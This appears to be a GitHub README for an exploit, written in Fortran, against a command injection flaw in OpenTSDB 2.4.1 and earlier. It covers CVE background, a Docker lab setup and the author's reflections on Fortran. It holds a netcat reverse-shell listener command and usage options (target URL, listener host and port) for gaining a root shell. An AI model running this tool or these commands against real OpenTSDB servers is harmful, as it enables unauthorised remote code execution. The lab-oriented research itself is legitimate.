erikwynter/opentsdb_key_cmd_injectionAn exploit for OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) written in Fortran
An exploit for OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) written in Fortran
This is an exploit for a command injection vulnerability in OpenTSDB verions 2.4.1 and prior (CVE-2023-36812/CVE-2023-25826). The exploit is written in modern Fortran and leverages the official Fortran http-client library that was created earlier this year.
OpenTSDB is an open-source time series database written in Java. In 2020, a command injection vulnerability was discovered in versions 2.4.0 and prior that could be exploited in order to gain remote code execution on the host with root privileges. Since OpenTSDB does not support authentication, this vulnerability, tracked as CVE-2020-35476, could be exploited by anyone with access to the OpenTSDB web interface. The issue was patched in version 2.4.1
This year it was discovered that the patch for CVE-2020-35476 was incomplete, and command injection is still possible in OpenTSDB 2.4.1 via several vectors.
Details:
The short version is that I saw this convo:
The idea of writing an exploit in the programming language used to put people on the moon intruiged me so much that I had to explore it myself. This exploit is the result of that experiment. To the question whether it was successful, I can respond only with these wise, yet cursed words that bind all devs in blood: It works on my machine. ¯\(ツ)/¯
In any case, my key takeaways from this project are:
All in all, it is not easy to imagine this language really gaining significance within offensive security, if only because there are so many solid, modern alternatives out there for any imaginable use case (Python, Go, Rust, Ruby, C# to name just a few). But if you like experimenting with different programming languages and don't mind encapsulating your strings in trim() calls all the time (PLEASE TAKE NOTE OF THIS IT WILL SAVE YOU SO MUCH SUFFERING), Fortran is absolutely worth checking out. I'm unironically rooting for this language now and I might revisit it if they continue to add support to the http-client library, especially if they add an http-server library at some point.
TL;DR: Fortran http-client lib goes brr.
nc -nlvp 1337
opentsdb_key_cmd_injection directory# cd /path/to/opentsdb_key_cmd_injection/
fpm (make sure to install it first. See the installation instructions in the next section)# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
Options:
-t - TARGET URL: the base URL to OpenTSDB (required)-l - LHOST: the IP of the system where you are running a listener (required)-p - LPORT: the listener port (required)-v - VERBOSE: enable verbose printing (optional)gfortran. On debian-based systems this can be done via:apt install gfortran
chmod +x /<path>/to/fpm
Make sure you have git installed on your system before installing fpm.
For a manual installation, you can follow the official installation instructions here. This can be annoying though, so I would recommend using docker instead.
For version 2.4.0, you can use the vulnhub docker image and follow the installation instructions here. That image was created for CVE-2020-35476, an older vulnerability in OpenTSDB through 2.4.0.
For version 2.4.1 and probably any other version, you could leverage the vulhub image for OpenTSDB 2.4.0 and edit it to install the version you want. I followed this approach for 2.4.1 and it worked great.
Dockerfile and docker-entrypoint.sh files from here and store them in a dedicated directory.Dockerfile, replace all instances for 2.4.0 with your desired version, eg 2.4.1docker-entrypoint.shdocker-compose.yml file with the following contents:version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
I used this file structure:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.ymlfile:docker-compose up -d
Fortran is mostly known as an archaic language that played an important role in the history of modern computing, but can no longer be considered relevant today. It was first released in 1957, predating both the ARPANET and Unix by more than a decade. Based on this time-series data video it was the dominant programming language throughout the 1960s and 1970s, and remained among the 10 most popular languages until the late 1990s. But by the time Windows 98 was released, it had clearly fallen out of fashion, in favor of more modern languagues like C, C++, Java and JavaScript, all of which are still widely used today.
Apart from the brave souls who manage legacy systems, I doubt that many people in IT (let alone outside of our bubble), have come across Fortran in the last two decades, or are even aware that it's still around. Despite that, Fortran remains under active development. As stated on the offical Fortran website, the language was last revised in 2018, and we will hopefully see another revision this year (2023). In fact, it seems the Fortran community has been very active in the last few years, pushing out several major projects to help modernize the ecosystem, including:
Given this, it appears the maintainers are aiming for somewhat of a Fortran comeback, or at the very least to give the language a fighting chance to survive for a few more decades. While even the most fanatic Fortran stan probably doesn't expect to see the language crack the top 10 of most popular programming languages ever again, the ongoing modernization of the language and its ecosystem has likely made Fortran more relevant than it has been in the last decade or two.